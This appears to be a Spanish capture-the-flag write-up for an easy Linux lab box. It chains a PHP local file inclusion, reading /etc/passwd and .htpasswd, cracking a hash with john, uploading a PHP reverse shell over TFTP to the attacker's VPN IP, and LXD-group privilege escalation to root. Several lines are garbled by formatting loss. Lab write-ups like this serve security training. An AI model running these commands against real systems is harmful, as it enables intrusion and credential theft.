Dificultad: Easy · SO: Linux · Tema: LFI → TFTP upload → reverse shell → LXD privesc
Enumeración de puertos TCP y UDP:
nmap -sC -sV -T4 $ip
sudo nmap -sU -T4 -p 69 $ip
Solo 80/tcp Apache 2.4.29 (Ubuntu) abierto; 22 cerrado. En UDP, 69/udp responde a un escaneo como open|filtered — señala un servicio TFTP en el fondo.
El parámetro ?file= de index.php incluye archivos sin sanitizar (include($_GET['file'])). Vemos:
curl "http://$ip/?file=/etc/passwd"
Funciona: lista al usuario mike (uid 1000) y un usuario tftp con home /var/lib/tftpboot. Además, con el filtro base64 leemos código fuente:
curl "http://$ip/?file=php://filter/convert.base64-encode/resource=index.php" | base64 -d
Los wrappers php://input, data:// y expect:// están deshabilitados; el log poisoning no rinde. El vector real es el servidor TFTP: si logramos subir un archivo a /var/lib/tftpboot, podemos incluirlo y ejecutarlo.
El .htpasswd (leído vía LFI) guarda la credencial de un usuario local:
mike:$apr1$JWpIfLpq$fC1blWttN3UY...
Es un hash Apache cifrado. Lo crackeamos con john:
john --wordlist=/usr/share/wordlists/rockyou.txt htpasswd.hash
# mike:Sheffield19
mike es el usuario local (uid 1000) — ya tenemos las credenciales de la etapa siguiente.
Leemos la config del servidor TFTP vía LFI:
curl "http://$ip/?file=/etc/default/tftpd-hpa"
TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/var/lib/tftpboot"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="-s -l -c" # -l listen, -c permitir crear (upload)
La opción -c habilita la creación de archivos: podemos subir una reverse shell.
Armamos una reverse shell PHP (pentestmonkey) hacia nuestra IP de VPN, la subimos por TFTP:
cp php-reverse-shell.php shell.php
sed -i "s/127.0.0.1/<TU_IP_TUN0>/g; s/1234/443/g" shell.php
tftp $ip -m binary -c put shell.php shell.php
nc -nvlp 443
Y la disparamos incluyéndola por la LFI:
curl "http://$ip/?file=/var/lib/tftpboot/shell.php"
Sesión ganada como www-data.
Sabemos la credencial de mike. Obtenemos una TTY y hacemos su:
python3 -c 'import pty;pty.spawn("/bin/bash")'
su mike
# Password: Sheffield19
id
# uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
Mike está en el grupo lxd (gid 108).
El grupo lxd es equivalente a root si el daemon acepta crear un contenedor con privilegios y montar el host. El exploit estándar:
metadata.yaml incluido, formato mímino).mkdir build && cd build && mkdir -p rootfs
tar -xzf alpine-minirootfs-*.tar.gz -C rootfs
cat > metadata.yaml <<'EOF'
architecture: x86_64
creation_date: 1525590432
properties:
architecture: x86_64
description: Alpine linux amd64
os: alpine
release: 3.20.2
EOF
tar -czf ../alpine-lxd.tar.gz metadata.yaml rootfs
/mnt/root.# subir imagen (scp/wget/tftp indifferente)
lxc image import alpine-lxd.tar.gz --alias myalpine
lxc init myalpine pwned -c security.privileged=true
lxc config device add pwned mydevice disk source=/ path=/mnt/root recursive=true
lxc start pwned
lxc exec pwned -- ls /mnt/root
El contenedor con security.privileged=true corre como root fuera de límites de UID, y el device de tipo disk con source=/ nos expone todo el filesystem del host en /mnt/root. Leemos las flags:
lxc exec pwned -- cat /mnt/root/root/root.txt
lxc exec pwned -- cat /mnt/root/home/mike/user.txt
include() sin validar en ?file= permite leer archivos locales y ejecutar PHP.-c (creación de archivos) sobre /var/lib/tftpboot..htpasswd filtrado revela credencial de un usuario con grupo lxd.security.privileged=true + device disk en LXD = root en el host.lxd es root de facto: cualquier usuario en ese grupo debe tratarse como crítico.include()/uploads.